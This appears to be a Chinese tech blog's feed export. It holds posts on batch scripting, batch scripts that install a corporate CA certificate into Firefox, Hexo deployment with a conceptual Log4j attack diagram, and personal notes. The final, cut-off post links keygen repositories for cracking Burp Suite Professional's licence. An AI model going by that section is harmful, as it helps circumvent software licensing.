    我刚开始用%%输出变量值,发现跟预期不一致,万能的GPT帮我纠正了这个错误。

    关于引用变量:

    在 Windows 中,批处理脚本中使用变量时,有两种方式来引用变量的值:%var%!var!。这两种方式的主要区别在于变量的扩展方式和生命周期。

    %var% 表示立即扩展变量,也称为百分号变量。在批处理脚本中,使用 %var% 可以将变量扩展为其当前值。变量在整个批处理脚本的生命周期内都是有效的,但是在某些情况下,它们可能不会像预期那样扩展。例如,如果要在一个代码块中使用变量,而该变量在该代码块之前已被更改,则百分号变量可能会扩展为旧值,而不是新值。

    !var! 表示延迟扩展变量,也称为感叹号变量。在批处理脚本中,使用 !var! 可以将变量扩展为其当前值,但是它是在运行时进行扩展的,而不是在解析时进行扩展的。因此,变量的生命周期仅限于它们在脚本中使用的代码块。如果需要在代码块中使用变量,并且该变量在代码块之前已被更改,则可以使用感叹号变量来确保变量扩展为其当前值。

    在批处理脚本中,使用 setlocal enabledelayedexpansion 命令可以启用感叹号变量。启用延迟扩展后,可以使用 !var! 来引用变量的值。

    因此,%% 表示百分号变量,!! 表示感叹号变量。在批处理脚本中,使用 %% 来引用百分号变量的值,使用 !! 来引用感叹号变量的值。

    脚本闪退怎么办

    脚本执行后马上闪退可能是由于脚本中的某个命令出错导致的。您可以尝试添加 pause 命令到脚本的末尾,这样脚本执行完毕后会暂停,以便您查看执行结果和错误信息。

    如果您希望在脚本发生错误时能够看到错误信息,可以将 @echo off 命令注释掉,这样脚本在执行时会输出命令的执行结果和错误信息,以便您查看。

    另外,您还可以尝试在命令行中执行脚本,而不是双击脚本文件来执行,这样如果脚本发生错误,错误信息将会一直显示在命令行中,直到您手动关闭命令行窗口。

    最后,如果您仍然无法解决问题,可以尝试逐步注释掉脚本中的命令,直到找到引起问题的命令为止。

    关于Firefox证书

    firefox使用自己的证书库,其他浏览器如Chrome,使用操作系统的证书库。

    主要参考资料

    https://wiki.mozilla.org/CA/AddRootToFirefox (官方说法,最全。)

    https://stackoverflow.com/questions/1435000/programmatically-install-certificate-into-mozilla

    方法1:certutil.exe

    使用nss,下载nss包(官方已删除已仓库连接,没有编译好的版本,需重新编译)好像还需要NSPR,使用certutil.exe(和windows自带的certutil是两种不同的东西。)
    参考地址:https://stackoverflow.com/questions/1435000/programmatically-install-certificate-into-mozilla
    https://stackoverflow.com/questions/50159193/how-to-add-certificate-programmatically-into-firefox-version-59-cannot-find-cer
    文件下载路径:
    https://ftp.mozilla.org/pub/security/nss/releases/NSS_3_13_5_RTM/src/
    https://ftp.mozilla.org/pub/nspr/releases/

    构建方法:https://brpoblog.wordpress.com/2015/10/02/add-certificates-to-firefox-installation-with-certutil/

    报错,提示缺少MSVCR71.DLL。下载此dll文件,放到bin文件夹。
    https://cn.dll-files.com/download/837b1e310f2aa8b20f07a9b1ce90ac4f/msvcr71.dll.html?c=d3JyZEIva1QwMm1IbFpwVGhQK1kwQT09

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    显示证书:

    certutil.exe -L -d "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\urvqiw6e.default"

    安装证书:

    certutil.exe -A -n "SomeNametest" -t "u,u,u" -i D:\UserData\h4m5tdesktop\Fortinet_CA_SSL.cer -d "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\urvqiw6e.default"

    安装之后再查看:

    certutil.exe -L -d "%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\urvqiw6e.default"

    发现已经在列表中了。

    certutil.exe使用方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    C:\Users\h4m5t\Downloads\nss-3.11\nss-3.11\bin>certutil.exe -H
    -A Add a certificate to the database (create if needed)
    -E Add an Email certificate to the database (create if needed)
    -n cert-name Specify the nickname of the certificate to add
    -t trustargs Set the certificate trust attributes:
    p valid peer
    P trusted peer (implies p)
    c valid CA
    T trusted CA to issue client certs (implies c)
    C trusted CA to issue server certs (implies c)
    u user cert
    w send warning
    g make step-up cert
    -f pwfile Specify the password file
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix
    -a The input certificate is encoded in ASCII (RFC1113)
    -i input Specify the certificate file (default is stdin)

    -C Create a new binary certificate from a BINARY cert request
    -c issuer-name The nickname of the issuer cert
    -i cert-request The BINARY certificate request file
    -o output-cert Output binary cert to this file (default is stdout)
    -x Self sign
    -m serial-number Cert serial number
    -w warp-months Time Warp
    -v months-valid Months valid (default is 3)
    -f pwfile Specify the password file
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix
    -1 Create key usage extension
    -2 Create basic constraint extension
    -3 Create authority key ID extension
    -4 Create crl distribution point extension
    -5 Create netscape cert type extension
    -6 Create extended key usage extension
    -7 Create an email subject alt name extension
    -8 Create an dns subject alt name extension

    -G Generate a new key pair
    -h token-name Name of token in which to generate key (default is internal)
    -k key-type Type of key pair to generate ("dsa", "rsa" (default))
    -g key-size Key size in bits, (min 512, max 2048, default 1024)
    -y exp Set the public exponent value (3, 17, 65537) (rsa only)
    -f password-file Specify the password file
    -z noisefile Specify the noise file to be used
    -q pqgfile read PQG value from pqgfile (dsa only)
    -d keydir Key database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix

    -D Delete a certificate from the database
    -n cert-name The nickname of the cert to delete
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix

    -U List all modules
    -d moddir Module database directory (default is '~/.netscape')
    -P dbprefix Cert & Key database prefix
    -X force the database to open R/W

    -K List all keys
    -h token-name Name of token in which to look for keys (default is internal, use "all" to list keys on all tokens)
    -k key-type Type of key pair to list ("all", "dsa", "rsa" (default))
    -f password-file Specify the password file
    -d keydir Key database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix
    -X force the database to open R/W

    -L List all certs, or print out a single named cert
    -n cert-name Pretty print named cert (list all if unspecified)
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix
    -X force the database to open R/W
    -r For single cert, print binary DER encoding
    -a For single cert, print ASCII encoding (RFC1113)

    -M Modify trust attributes of certificate
    -n cert-name The nickname of the cert to modify
    -t trustargs Set the certificate trust attributes (see -A above)
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix

    -N Create a new certificate database
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix

    -T Reset the Key database or token
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix
    -h token-name Token to reset (default is internal)


    -O Print the chain of a certificate
    -n cert-name The nickname of the cert to modify
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix
    -X force the database to open R/W

    -R Generate a certificate request (stdout)
    -s subject Specify the subject name (using RFC1485)
    -o output-req Output the cert request to this file
    -k key-type Type of key pair to generate ("dsa", "rsa" (default))
    -h token-name Name of token in which to generate key (default is internal)
    -g key-size Key size in bits, RSA keys only (min 512, max 2048, default 1024)
    -q pqgfile Name of file containing PQG parameters (dsa only)
    -f pwfile Specify the password file
    -d keydir Key database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix
    -p phone Specify the contact phone number ("123-456-7890")
    -a Output the cert request in ASCII (RFC1113); default is binary

    -V Validate a certificate
    -n cert-name The nickname of the cert to Validate
    -b time validity time ("YYMMDDHHMMSS[+HHMM|-HHMM|Z]")
    -e Check certificate signature
    -u certusage Specify certificate usage:
    C SSL Client
    V SSL Server
    S Email signer
    R Email Recipient
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix
    -X force the database to open R/W

    -S Make a certificate and add to database
    -n key-name Specify the nickname of the cert
    -s subject Specify the subject name (using RFC1485)
    -c issuer-name The nickname of the issuer cert
    -t trustargs Set the certificate trust attributes (see -A above)
    -k key-type Type of key pair to generate ("dsa", "rsa" (default))
    -h token-name Name of token in which to generate key (default is internal)
    -g key-size Key size in bits, RSA keys only (min 512, max 2048, default 1024)
    -q pqgfile Name of file containing PQG parameters (dsa only)
    -x Self sign
    -m serial-number Cert serial number
    -w warp-months Time Warp
    -v months-valid Months valid (default is 3)
    -f pwfile Specify the password file
    -d certdir Cert database directory (default is ~/.netscape)
    -P dbprefix Cert & Key database prefix
    -p phone Specify the contact phone number ("123-456-7890")
    -1 Create key usage extension
    -2 Create basic constraint extension
    -3 Create authority key ID extension
    -4 Create crl distribution point extension
    -5 Create netscape cert type extension
    -6 Create extended key usage extension
    -7 Create an email subject alt name extension
    -8 Create an dns subject alt name extension

    方法2:用GitHub脚本更新cert8.db

    使用https://github.com/christian-korneck/firefox_add-certs (The release download includes a build of the NSS certutil.exe.)

    方法3:启用security.enterprise_roots.enabled

    适用于Firefox49版本及以上

    https://support.mozilla.org/en-US/kb/setting-certificate-authorities-firefox

    https://community.fortinet.com/t5/FortiGate/Technical-Note-Differences-between-SSL-Certificate-Inspection/ta-p/192301

    手动启用

    替换firefox configuration

    https://support.umbrella.com/hc/en-us/articles/115000669728-Configuring-Firefox-to-use-the-Windows-Certificate-Store

    https://docs.trendmicro.com/all/ent/ddwi/2.5/en-us/ddwi_2.5_olh/Deploy-the-Default-C_001.html

    cfg配置文件启用

    创建ddwi.cfg,内容如下。复制到文件夹:

    C:\Program Files\Mozilla Firefox\ddwi.cfg

    C:\Program Files (x86)\Mozilla Firefox\ddwi.cfg

    1
    2
       //
    lockPref("security.enterprise_roots.enabled", true);

    创建local-settings.js,内容如下。复制到文件夹:

    C:\Program Files\Mozilla Firefox\defaults\pref\local-settings.js

    C:\Program Files (x86)\Mozilla Firefox\defaults\pref\local-settings.js

    1
    2
    pref("general.config.obscure_value", 0);
    pref("general.config.filename", "ddwi.cfg");

    注意,通过上述启用此选项后,会出现过几分钟又变成false的现象,过一会儿又自动变成True,没查到为什么会有这种现象,暂未解决。所以建议手动更改此配置选项。或使用下面的另一种方法:修改user.js配置文件。

    user.js配置文件启用

    参考:http://www.360doc.com/content/19/1031/22/73478_870350348.shtml

    https://kb.mozillazine.org/User.js_file

    pic

    FireFox搜索框输入about:profiles,找到配置文件路径,一般情况下有两个配置文件目录。在如下路径:

    1
    %APPDATA%\Mozilla\Firefox\Profiles

    创建user.js文件,复制到此配置文件目录下。

    1
    user_pref("security.enterprise_roots.enabled", true);

    重启浏览器,发现此选项已经变成True

    pic

    安装脚本

    准备好证书文件,各种配置文件,以及用NSS库构建的certutil.exe文件和安装脚本。全部放到C盘根目录下的firefoxinstallcert文件夹。

    建议使用脚本2

    脚本1

    通过cfg配置文件lockPref启用security.enterprise_roots.enabled。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    @echo off
    ::开启变量延迟扩展
    setlocal EnableExtensions EnableDelayedExpansion

    echo ###checking new_version###
    echo --------------------------
    set regPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox"
    set regPath2="HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Mozilla\Mozilla Firefox"
    set regKey="CurrentVersion"
    set regValue=""

    set Value1="checkversion"

    rem 检查新版本注册表是否存在
    reg query %regPath1% >nul 2>nul
    echo %errorlevel%
    echo !errorlevel!
    if %errorlevel%==0 (
    echo new_version Registry key %regkey% exists.
    for /f "tokens=2*" %%a in ('reg query %regPath1% /v %regKey% ^| findstr /i %regKey%') do (
    if "%regValue%"=="" (
    echo value not exists
    ) else (
    set Value1=%%b
    )
    )
    ) else (
    echo new_version Registry key %regkey% does not exist.
    echo --------------------------
    ::检查旧版本注册表路径是否存在
    echo ###checking old_version###
    reg query %regPath2% >nul 2>nul
    if !errorlevel!==0 (
    echo old_version Registry key %regkey% exists.
    for /f "tokens=2*" %%a in ('reg query %regPath2% /v %regKey% ^| findstr /i %regKey%') do (
    if "%regValue%"=="" (
    echo value not exists
    ) else (
    set Value1=%%b
    )
    )
    ) else (
    echo old_version Registry key %regkey% does not exist.
    set Value1=0.0.0
    )

    echo !Value1!
    echo %Value1%

    set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
    echo Majorold: %Major%
    )

    echo !Value1!
    echo %Value1%

    set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
    echo Majornew: %Major%

    ::显示最终版本,若为0,则表示未安装Firefox
    echo --------------------------
    set final_version= %Major%
    echo final_version %final_version%
    echo --------------------------

    rem 检查版本号
    if %final_version% EQU 0 (
    echo Program version is 0. Exiting script...
    exit /b 1
    ) else if %Major% LSS 49 (
    call :function1
    ) else (
    call :function2
    )

    rem 退出脚本
    exit /b

    ::
    :function1
    echo Program version is less than 49. Executing function 1...
    rem 执行函数1的代码,在49版本以下,更新cert8.db证书库。

    ::显示db中的现有证书
    set "db_path=%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\"
    set default_name=""
    ::判断证书数据库路径是否存在
    IF EXIST %db_path% (
    echo default_path exists
    rem 在这里添加需要执行的命令
    set "count=0"
    for /d %%i in ("%db_path%\*") do (
    set /a count+=1
    set "folder=%%~nxi"
    )
    ::判断是否只有*.default这一个文件夹
    if !count! equ 1 (
    set default_name=!folder!
    set "all_path=%db_path%!default_name!"
    ::显示default文件夹全路径
    echo !all_path!
    ::显示更新前证书库
    C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
    ::更新证书库
    C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -A -n "SomeNametest" -t "u,u,u" -i "C:\firefoxinstallcert\TPLINKCA.cer" -d !all_path!
    ::显示更新后的证书库
    C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
    ) else (
    echo no or more
    )
    ) ELSE (
    echo no
    )


    goto :eof


    :function2
    echo Program version is greater than or equal to 49. Executing function 2...
    rem 执行函数2的代码,在49版本以上的FireFox中启用security.enterprise_roots.enabled

    set source_file_cfg=C:\firefoxinstallcert\ddwi.cfg
    set "dest_dir_cfg=C:\Program Files\Mozilla Firefox\"
    echo Moving %source_file_cfg% to %dest_dir_cfg%...
    if exist "%source_file_cfg%" (
    if exist "%dest_dir_cfg%" (
    copy "%source_file_cfg%" "%dest_dir_cfg%"
    ) else (
    echo Directory %dest_dir_cfg% does not exist! Cannot move file.
    )
    ) else (
    echo Source file %source_file_cfg% does not exist! Cannot move file.
    )

    set "dest_dir_cfg_x86=C:\Program Files (x86)\Mozilla Firefox\"
    echo Moving %source_file_cfg% to %dest_dir_cfg_x86%...
    if exist "%source_file_cfg%" (
    if exist "%dest_dir_cfg_x86%" (
    copy "%source_file_cfg%" "%dest_dir_cfg_x86%"
    ) else (
    echo Directory does not exist! Cannot move file.
    )
    ) else (
    echo Source file %source_file_cfg% does not exist! Cannot move file.
    )


    set source_file_js=C:\firefoxinstallcert\local-settings.js
    set "dest_dir_js=C:\Program Files\Mozilla Firefox\defaults\pref\"
    echo Moving %source_file_js% to %dest_dir_js%...
    if exist "%source_file_js%" (
    if exist "%dest_dir_js%" (
    copy "%source_file_js%" "%dest_dir_js%"
    ) else (
    echo Directory does not exist! Cannot move file.
    )
    ) else (
    echo Source file %source_file_js% does not exist! Cannot move file.
    )
    set "dest_dir_js_x86=C:\Program Files (x86)\Mozilla Firefox\defaults\pref\"
    echo Moving %source_file_js% to %dest_dir_js_x86%...
    if exist "%source_file_js%" (
    if exist "%dest_dir_js_x86%" (
    copy "%source_file_js%" "%dest_dir_js_x86%"
    ) else (
    echo Directory does not exist! Cannot move file.
    )
    ) else (
    echo Source file %source_file_js% does not exist! Cannot move file.
    )

    goto :eof

    pause

    脚本2

    通过user.js启用security.enterprise_roots.enabled。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    @echo off
    ::开启变量延迟扩展
    setlocal EnableExtensions EnableDelayedExpansion

    echo ###checking new_version###
    echo --------------------------
    set regPath1="HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox"
    set regPath2="HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Mozilla\Mozilla Firefox"
    set regKey="CurrentVersion"
    set regValue=""

    set Value1="checkversion"

    rem 检查新版本注册表是否存在
    reg query %regPath1% >nul 2>nul
    echo %errorlevel%
    echo !errorlevel!
    if %errorlevel%==0 (
    echo new_version Registry key %regkey% exists.
    for /f "tokens=2*" %%a in ('reg query %regPath1% /v %regKey% ^| findstr /i %regKey%') do (
    if "%regValue%"=="" (
    echo value not exists
    ) else (
    set Value1=%%b
    )
    )
    ) else (
    echo new_version Registry key %regkey% does not exist.
    echo --------------------------
    ::检查旧版本注册表路径是否存在
    echo ###checking old_version###
    reg query %regPath2% >nul 2>nul
    if !errorlevel!==0 (
    echo old_version Registry key %regkey% exists.
    for /f "tokens=2*" %%a in ('reg query %regPath2% /v %regKey% ^| findstr /i %regKey%') do (
    if "%regValue%"=="" (
    echo value not exists
    ) else (
    set Value1=%%b
    )
    )
    ) else (
    echo old_version Registry key %regkey% does not exist.
    set Value1=0.0.0
    )

    echo !Value1!
    echo %Value1%

    set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
    echo Majorold: %Major%
    )

    echo !Value1!
    echo %Value1%

    set "Major=%Value1:.=" & set /A "Minor=Revision, Revision=Subrev, Subrev=%"
    echo Majornew: %Major%

    ::显示最终版本,若为0,则表示未安装Firefox
    echo --------------------------
    set final_version= %Major%
    echo final_version %final_version%
    echo --------------------------

    rem 检查版本号
    if %final_version% EQU 0 (
    echo Program version is 0. Exiting script...
    exit /b 1
    ) else if %Major% LSS 49 (
    call :function1
    ) else (
    call :function2
    )

    rem 退出脚本
    exit /b

    ::
    :function1
    echo Program version is less than 49. Executing function 1...
    rem 执行函数1的代码,在49版本以下,更新cert8.db证书库。

    ::显示db中的现有证书
    set "db_path=%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\"
    set default_name=""
    ::判断证书数据库路径是否存在
    IF EXIST %db_path% (
    echo default_path exists
    rem 在这里添加需要执行的命令
    set "count=0"
    for /d %%i in ("%db_path%\*") do (
    set /a count+=1
    set "folder=%%~nxi"
    )
    ::判断是否只有*.default这一个文件夹
    if !count! equ 1 (
    set default_name=!folder!
    set "all_path=%db_path%!default_name!"
    ::显示default文件夹全路径
    echo !all_path!
    ::显示更新前证书库
    C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
    ::更新证书库
    C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -A -n "SomeNametest" -t "u,u,u" -i "C:\firefoxinstallcert\TPLINKCA.cer" -d !all_path!
    ::显示更新后的证书库
    C:\firefoxinstallcert\nss-3.11\bin\certutil.exe -L -d !all_path!
    ) else (
    echo no or more
    )
    ) ELSE (
    echo no
    )

    goto :eof

    :function2
    echo Program version is greater than or equal to 49. Executing function 2...
    rem 执行函数2的代码,在49版本以上的FireFox中通过增加user.js配置文件启用security.enterprise_roots.enabled

    ::profiles默认配置文件目录
    set "parentFolder=%APPDATA%\Mozilla\Firefox\Profiles"
    ::搜索存在default字符串的文件夹,即profiles配置文件夹
    set "searchString=default"
    set source_user_js=C:\firefoxinstallcert\user.js
    ::将user.js文件拷贝到配置文件目录

    IF EXIST %parentFolder% (
    for /d %%F in ("%parentFolder%\*") do (
    echo "%%~nxF" | findstr /C:"%searchString%" >nul 2>&1
    if errorlevel 1 (
    echo default Folder not found.
    ) else (
    echo default Folder found.
    rem 拼接全路径
    set "all_default_path=%parentFolder%\%%~nxF"
    echo !all_default_path!
    copy "%source_user_js%" !all_default_path!
    )
    )
    ) ELSE (
    echo no
    )
    goto :eof
    pause

    其他参考资料

    http://www.certificate.fyicenter.com/389_Download_Mozilla_certutil_Tool_for_Windows_7.html

    https://dev-tech-crypto.mozilla.narkive.com/QtN6vuxG/availability-of-certutil-on-windows

    https://brpoblog.wordpress.com/2015/10/02/add-certificates-to-firefox-installation-with-certutil/

    ]]>
    + + + +
    + + + + + SOC和SIEM建设 + + /2023/05/20/SOC%E5%92%8CSIEM%E5%BB%BA%E8%AE%BE/ + + SOC和SIEM建设

    待更。

    引用图片方法1

    引用图片方法2:

    pic

    设置封面图片的几种方式:

    • 直接引用同名文件夹
    • 引用/img下的图片
    • 加入超链接
    ]]>
    + + + + + 安全 + + + + + + + 安全 + + SIEM + + SOC + + + +
    + + + + + 2023年展望 + + /2023/01/01/2023%E5%B9%B4%E5%B1%95%E6%9C%9B/ + + 2022年总结

    整个2022年过的比较压抑,无休止的封控,每天一次不停的核酸,最多的时候一天三次。直到12月突然放开,侥幸成为部门倒数第二个阳🐏的人,也算跑进了决赛圈。今天身体快恢复了,总体感觉就是中等感冒,并无大碍。

    基地提供了很好的环境,享受了最好的图书馆,静下心来度过了大半年时光。22年的考研以失败告终(准确来讲,是21年考的),该做的准备都做了,奈何实力不够,差十几分未过线。身边很多朋友二战的,我也很遗憾,但不得不向前走了。

    回到学校,大四下,便开始准备面试。最多的时候一天四轮面试,面的麻木了。到三月底,拿了七八个offer,选了个还算可以的就匆匆结束了。

    然后又进入一段极其压抑痛苦的时光,选了一个比较前沿的密码学课题,原理难懂,实验更难,指导老师的压迫感比童年最大的阴影-钢琴老师来的还强。还好有热心学长帮忙指导,最后也顺利毕业了。

    离开学校已有半年时间,没有太多留恋,或许再回去已是很多年之后了吧。

    在家乡,度过了美好的暑期,那是人生少有的一段最轻松的时光。前一次是高考之后,后一次大概是退休吧。

    7月底独自一人南下深圳,正式成为一名打工人。

    打工半年,2022结束。

    2023年展望

    希望在未来这一年,做好职业规划,控制个人习惯,多给家人买些东西。培养一些兴趣爱好(唢呐,钓鱼,围棋等),多运动,多看几本书。

    立几个flag:

    • 每月至少写一次博客
    • 上半年考CCNP
    • 下半年拿下OSCP
    • 如果可以,养一只猫🐱

    愿2023年顺利。

    ]]>
    + + + + + 感悟 + + + + +
    + + + + + hexo博客部署 + + /2022/12/30/hello-hexo/ + + Hexo

    Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

    Quick Start

    Create a new post

    1
    $ hexo new "My New Post"

    More info: Writing

    Clean

    1
    $ hexo clean

    Run server

    1
    $ hexo server

    More info: Server

    Generate static files

    1
    $ hexo generate

    More info: Generating

    Deploy to remote sites

    1
    $ hexo deploy

    More info: Deployment

    Actions自动化部署

    Hexo自动化工作流总是遇到问题,今天终于解决了。实现了自动部署,终于不用先在本地PC生成静态文件了。方便在不同环境直接通过修改md文件实现对博客的更新。

    部署过程

    • 新建一个博客源码私有仓库BlogSource

    • 创建一个有 repo 和 workflow 权限的 GitHub Token

    • 将上述Token添加到私有仓库的Secrets,命令为HEXO_DEPLOY

    • 创建工作流文件:.github\workflows\hexo-deploy.yml

    内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    name: Hexo Deploy GitHub Pages
    on:
    push:
    branches:
    - main

    jobs:
    build-and-deploy:
    runs-on: ubuntu-latest
    steps:
    - name: Checkout
    uses: actions/checkout@master

    - name: Build and Deploy
    uses: h4m5t/hexo-deploy-github-pages-action@master # 使用专门部署 Hexo 到 GitHub pages 的 action
    env:
    PERSONAL_TOKEN: ${{ secrets.HEXO_DEPLOY }} # secret 名
    PUBLISH_REPOSITORY: h4m5t/h4m5t.github.io # 公共仓库,格式:GitHub 用户名/仓库名
    BRANCH: gh-pages # 静态页面仓库分支
    PUBLISH_DIR: ./public # 部署 public 目录下的文件

    其中,用到的部署Action:https://github.com/h4m5t/hexo-deploy-github-pages-action

    我这里是push到gh-pages分支了。要注意同步修改仓库设置中的Build Branch

    源代码仓库中的.gitignore文件内容:

    1
    2
    3
    4
    5
    6
    7
    8
    .DS_Store
    Thumbs.db
    db.json
    *.log
    node_modules/
    public/
    .deploy*/
    _multiconfig.yml

    遇到的问题

    1. Actions总是报权限错误。删除掉源代码仓库中的node_modules文件夹后解决。
    2. themes文件夹下内容push报错。删除掉themes文件夹下.git文件后解决。

    参考

    https://akilar.top/posts/f752c86d/

    https://github.com/cys2004/blog_source

    https://juejin.cn/post/7133235874858270728#heading-2

    mermaid流程图

    修改:_config.butterfly.yml

    1
    2
    3
    4
    5
    6
    7
    8
    # mermaid
    # see https://github.com/mermaid-js/mermaid
    mermaid:
    enable: true
    # built-in themes: default/forest/dark/neutral
    theme:
    light: default
    dark: dark

    方法1

    在博客根目录下执行:

    1
    npm install hexo-filter-mermaid-diagrams --save

    参考:https://github.com/jerryc127/hexo-theme-butterfly/issues/1228#issuecomment-1554223960

    安装此插件后,可以使用Typora支持的格式,方便本地预览和远程查看。

    例如:

    可以根据如下源码生成流程图:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <pre class="mermaid">graph LR
    A[Attacker crafts<br>malicious payload<br>with JNDI lookup] --> C{Log4j parses:<br>Contains JNDI lookup?}
    C -->|Yes| D[Execute<br>JNDI lookup]
    C -->|No| E[Normal log]
    D --> F[Connect to<br>attacker's server]
    F --> G[Download &<br>execute<br>malicious class]
    G --> H[Attacker gains<br>server control]

    classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px;
    classDef highlight fill:#f9d5e5,stroke:#333,stroke-width:2px;
    classDef decision fill:#e3f2fd,stroke:#333,stroke-width:1px;
    classDef danger fill:#ffebee,stroke:#333,stroke-width:1px;

    class A,H highlight;
    class C decision;
    class G danger;</pre>
    graph LR    A[Attacker crafts
    malicious payload
    with JNDI lookup] --> C{Log4j parses:
    Contains JNDI lookup?} C -->|Yes| D[Execute
    JNDI lookup] C -->|No| E[Normal log] D --> F[Connect to
    attacker's server] F --> G[Download &
    execute
    malicious class] G --> H[Attacker gains
    server control] classDef default fill:#f9f9f9,stroke:#333,stroke-width:1px; classDef highlight fill:#f9d5e5,stroke:#333,stroke-width:2px; classDef decision fill:#e3f2fd,stroke:#333,stroke-width:1px; classDef danger fill:#ffebee,stroke:#333,stroke-width:1px; class A,H highlight; class C decision; class G danger;
    sequenceDiagram前端->>前端: 用户首次打开前端页面前端->>后台: version : 0 
    请求同步数据后台->>前端: 返回数据,同时携带最大的versionnote right of 后台: 返回数据结构:{"version":100, data:[{},{},{}]}

    方法2

    使用butterfuly官方给出的引用方法。

    参考:https://butterfly.js.org/posts/4aa8abbe/?highlight=mermaid#mermaid

    写法:

    1
    2
    3
    {% mermaid %}
    內容
    {% endmermaid %}

    示例:

    ]]>
    + + + + + blog + + + + + + + blog + + + +
    + + + + + Mac下 安装BurpsuiteProfession + + /2022/12/26/burpsuite/ + + Mac下安装BP Profession

    背景

    之前用的注册机现在不能使用了,需要换新的。

    原来:https://github.com/TrojanAZhen/BurpSuitePro-2.1

    现用:https://github.com/h3110w0r1d-y/BurpLoaderKeygen

    安装

    先到官网下载安装。

    https://portswigger.net/burp/releases

    按往常一样,将jar包放到Burpsuite app同级目录下,

    pic

    运行:

    1
